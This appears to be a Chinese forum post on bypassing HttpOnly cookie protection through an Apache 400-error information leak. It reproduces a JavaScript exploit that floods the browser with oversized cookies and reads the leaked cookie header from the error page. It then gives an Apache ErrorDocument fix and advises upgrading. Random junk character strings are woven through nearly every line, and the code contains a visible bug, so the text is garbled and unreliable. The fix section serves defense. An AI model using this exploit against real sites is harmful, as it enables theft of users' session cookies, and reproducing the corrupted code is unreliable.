很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。
4 J# {/ G# Y# i4 j9 k
' x0 a0 {( v; ?: n1 l- E" T9 x用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:* C+ ?3 B9 k' v7 l/ w6 f0 n$ ^
7 @0 j8 m2 e: \) R7 H
' ~, j8 S( M! f* X$ E1 y; P
// http://www.exploit-db.com/exploits/18442/* u1 Y0 ?+ N: K' e
function setCookies (good) {
3 r. E. H ^4 w# W// Construct string for cookie value1 D3 `; |' P+ `6 c- ^' v
var str = "";
; A& J: G0 L, Y3 N- v9 L9 |6 wfor (var i=0; i< 819; i++) {
8 F' w: V8 T* |2 d9 Hstr += "x";$ X6 Q6 L! Y. e) _1 o
}. \2 t2 x% w3 x5 k+ ]9 K
// Set cookies
/ k1 T% W9 O y9 S/ j. n5 \for (i = 0; i < 10; i++) {. J+ D& V1 q: `
// Expire evil cookie
; L3 \/ c3 O! y/ U3 Z- Oif (good) {
, N7 D, j" \/ m F X! Dvar cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
* d5 q: `! d1 K1 H! e}) `) B' Q+ y2 ~% m& J
// Set evil cookie6 Z- q' u- C, ~$ I2 }5 N
else {2 H; F0 U8 A6 l
var cookie = "xss"+i+"="+str+";path=/";
: @ U+ Y( w c1 }" V1 N}
6 ~% c9 ]" M3 G$ {, V( a7 d8 ~& ^9 edocument.cookie = cookie;- A( D9 M) `9 T C) s
}' Q* @5 `% L4 }9 {% Y2 g# A$ k$ r% B) Q
}! t$ P. U1 E/ ?- m# o
function makeRequest() {
! k L7 K2 T4 }5 h" d' AsetCookies();
+ J5 O* d: m9 \! r% Vfunction parseCookies () {1 \( u" J9 X) ?8 w* q8 A4 B
var cookie_dict = {};
5 u* b4 y! ?* V; ]// Only react on 400 status
3 n0 Q0 L$ {* V5 w" b& tif (xhr.readyState === 4 && xhr.status === 400) {1 N8 Y. [9 c. a* o O
// Replace newlines and match <pre> content
! T5 e! r. w% q6 ^7 i$ K1 svar content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);% E* a5 J5 S; s5 ~2 I, I
if (content.length) {+ g* L+ [- Y# d+ b1 j- f7 A
// Remove Cookie: prefix
9 y. P& p8 K. h( e" S: O" gcontent = content[1].replace("Cookie: ", "");5 a8 k) Z* l& Z- b: w
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);. c' D& p6 ]9 o
// Add cookies to object1 w, }+ g( S+ M) d/ g4 M" u* L
for (var i=0; i<cookies.length; i++) { e2 Q/ o/ e: A6 l) |7 }
var s_c = cookies.split('=',2);
2 u, s( Z3 w2 h( |& Wcookie_dict[s_c[0]] = s_c[1];
, V9 L% C$ ? G# M, I}
2 P: M" }3 }% N0 l! C. s6 [8 L) [}% h# i. u" N5 e
// Unset malicious cookies, d% f9 X: E! N% E
setCookies(true);
! }6 ^% g. t4 ~6 x# o C# c( halert(JSON.stringify(cookie_dict));4 v) ]/ }0 o! P3 V. F) L; d$ Y. }
}
1 s& T8 Y/ r7 R; J" g f( i- ^}2 _7 }6 y4 }/ X& W" {
// Make XHR request
A! n. c( |9 F Jvar xhr = new XMLHttpRequest();
! c& a+ H$ _' a' |xhr.onreadystatechange = parseCookies;# U$ i; m( n) V; d1 [
xhr.open("GET", "/", true);# L0 y% k) ] D/ s
xhr.send(null);6 W( C+ B) @0 F9 L: t7 u2 n
}1 i8 c, z8 Y* o" p- \
makeRequest();3 e' Y6 }0 ]/ @/ W0 Y# e
/ [) B# Z$ C. N3 q6 q你就能看见华丽丽的400错误包含着cookie信息。
/ ~4 {) F( ]/ {/ r- S+ d; n2 j) z- M
下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
) n% Q9 j* w+ k9 {, a9 F: q3 x6 g% y K/ N/ j% Z
修复方案:
6 N7 i1 [) P" w! L
" a5 V) \" F r, z9 t5 M2 TApache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下
2 E" Z2 q2 Z) @4 S( G$ z/ X0 n, C! C' ?+ H; x. i! s* X1 G
In the event of a problem or error, Apachecan be configured to do one of four things,
- L* Z5 ?- G% l, [1 [: s1 Q' v6 D" g0 v w( x
1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
$ }" O$ C% R1 t d6 A5 @2. output acustomized message输出一段信息
3 e" E" }0 }" O( \3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
: ?8 H4 C% A9 l$ ^/ P4. redirect to an external URL to handle theproblem/error转向一个外部URL
9 k: h, H( W- l! _& d0 s/ `) Z
2 e$ f1 U& v f. B" s% P" |. R4 W经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容9 a a& N( t& B9 G8 p) l7 x
a8 ?0 h9 {% t+ f6 d# z7 u: [Apache配置:
$ {( X3 i7 [/ n/ b, c+ G: G
( l. s2 @; @ T F7 p: u8 pErrorDocument400 " security test"
# O# N' V% R+ z1 J1 P- o7 z+ q9 b, l& k# }2 C5 H
当然,升级apache到最新也可:)。: m% k8 ?- X$ m
! y8 ~8 S+ W. r0 e+ r6 F参考:http://httpd.apache.org/security/vulnerabilities_22.html0 O$ S2 K+ A3 t# M
/ R* o% q) c$ e- e+ G
|